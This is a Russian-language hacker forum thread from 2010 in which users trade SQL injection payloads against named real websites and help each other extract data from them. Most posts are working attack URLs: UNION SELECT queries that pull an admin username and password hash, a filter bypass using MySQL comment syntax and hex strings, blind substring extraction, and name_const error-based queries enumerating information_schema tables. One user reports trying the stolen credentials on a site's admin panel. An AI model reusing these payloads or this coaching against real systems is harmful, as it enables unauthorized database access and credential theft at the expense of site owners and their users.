16.10.2010, 01:07
|
|
Новичок
Регистрация: 06.07.2009
Сообщений: 18
С нами:
8867250
Репутация:
0
|
|
Сообщение от KREGI
Логин админа
http://www.pro-projector.ru/news_N.php?id_page=13+and+1=0+%20Union%20Select%20 %201,2,3,user_name,5,6,7,8,9%20from%20proproj_suga rcrm.users
Хеш пароля админа
http://www.pro-projector.ru/news_N.php?id_page=13+and+1=0+%20Union%20Select%20 %201,2,3,user_hash,5,6,7,8,9%20from%20proproj_suga rcrm.users
p.s. отображаются в теге title
Неподходит ((
http://www.pro-projector.ru/admin/index.php
admin
1805
пробовал также +limit+1,1
snow
8500
тоже не подходит
|
|
|
16.10.2010, 01:11
|
|
Новичок
Регистрация: 06.07.2009
Сообщений: 18
С нами:
8867250
Репутация:
0
|
|
Сообщение от mr.celt
Сам не сталкивался, а каким образом это проявляется?
ну вот живой пример:
http://www.scrz.ru/show_part.php?id=2061-999.9+union+select+1,version%28%29,3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20--
|
|
|
|
16.10.2010, 01:24
|
|
Новичок
Регистрация: 26.02.2010
Сообщений: 7
С нами:
8529727
Репутация:
0
|
|
Всем спасибо, фильр в итоге обошел вот так
.php?id=10+union(SELECT+1,group_CONCAt(table_name) ,3,4,5+from+information_schema./*!tables*/+where+table_name+like(0x257573657225))
Плюсики накидал, ибо помогло.
|
|
|
|
16.10.2010, 01:28
|
|
Новичок
Регистрация: 09.02.2009
Сообщений: 23
С нами:
9079073
Репутация:
-9
|
|
Сообщение от grably
ну вот живой пример:
http://www.scrz.ru/show_part.php?id=2061-999.9+union+select+1,version%28%29,3,4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20--
Код HTML:
http://www.scrz.ru/show_part.php?id=2061+and+1=0+=null=null%20union%20select+1,database%28%29,3,4,5,6,7,8,9,10,11,%2012,13,14,user%28%29,version%28%29,17,18,19,20
ну а дальше блокирует как бы сказано выше...
Сообщение от grably
Неподходит ((
http://www.pro-projector.ru/admin/index.php
admin
1805
пробовал также +limit+1,1
snow
8500
тоже не подходит
хм... не пойму почему... больше не где не нахожу хеши...
|
|
|
|
16.10.2010, 01:52
|
|
Познающий
Регистрация: 25.10.2007
Сообщений: 46
С нами:
9761387
Репутация:
2
|
|
пля = \ помогите лимит подобрать = \
http://pogoda.v.ua/index.php?id=-264
Дошол до 120 и ничего = \
|
|
|
|
16.10.2010, 01:58
|
|
Новичок
Регистрация: 09.02.2009
Сообщений: 23
С нами:
9079073
Репутация:
-9
|
|
Сообщение от GroM88
пля = \ помогите лимит подобрать = \
http://pogoda.v.ua/index.php?id=-264
Дошол до 120 и ничего = \
_http://pogoda.v.ua/index.php?id=-264%20Union%20Select%20%201%20,%20version%28%29%20 ,3,4,5
Tag title
Интересно кому?
Код HTML:
http://www.yadonor.ru/ru/become/calendar_day/index.php?id_4[]=20101009000000
|
|
|
|
16.10.2010, 08:20
|
|
Новичок
Регистрация: 09.10.2010
Сообщений: 3
С нами:
8206166
Репутация:
0
|
|
Сообщение от Strilo4ka
Example, we have mysql5.
Код:
select username from users order by username *(IF(ASCII(SUBSTRING(VERSION(),1,1))=53,1,-1))
No good.
site.php?orderby=-1 is true (ASC)
site.php?orderby=-2312 is true (ASC)
site.php?orderby=1 is false (no columns at all)
site.php?orderby=,1 is true (ASC)
site.php?orderby=*(IF(1=2,1,0)) is true (WTF???)
site.php?orderby=*(IF(1=1,0,0)) true again (asc)
Have no idea what to do. Any help?
|
|
|
|
16.10.2010, 08:54
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
2 grably:
http://www.scrz.ru/show_part.php?id=2061%20and%20ascii(lower(substrin g((select%20table_name%20from%20information_schema .tables%20limit%2017,1),1,1)))%3E1--
|
|
|
|
16.10.2010, 11:04
|
|
Новичок
Регистрация: 20.04.2010
Сообщений: 1
С нами:
8452680
Репутация:
0
|
|
Подскажите как дальше разкручивается скуль с name_const
вот так показывает 5-ю версию
site.com/2.php?id=6+and+(1,2)in(select+*+from(select+name_c onst(version(),1),name_const(version(),1))as+a)&t= Community
как нужно изменить запрос чтобы вытянуть название таблиц из information_Schema.tables. Так ничего не выходит:
site.com/2.php?id=6+and+(1,2)in(select+*+from(select+name_c onst(table_name,1),name_const(table_name,1)+from+i nformation_Schema.tables)as+a)&t=Community
|
|
|
|
16.10.2010, 11:37
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
site.com/2.php?id=6+or(1,2)=(select*from(select name_const((select table_name from information_schema.tables limit 17,1),1),name_const((select table_name from information_schema.tables limit 17,1),1))a)
or
site.com/2.php?id=6 union select * from(select * from(select name_const((select table_name from information_schema.tables limit 17,1), 11)d) as t join (select name_const((select table_name from information_schema.tables limit 17,1), 11)e) b)a
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
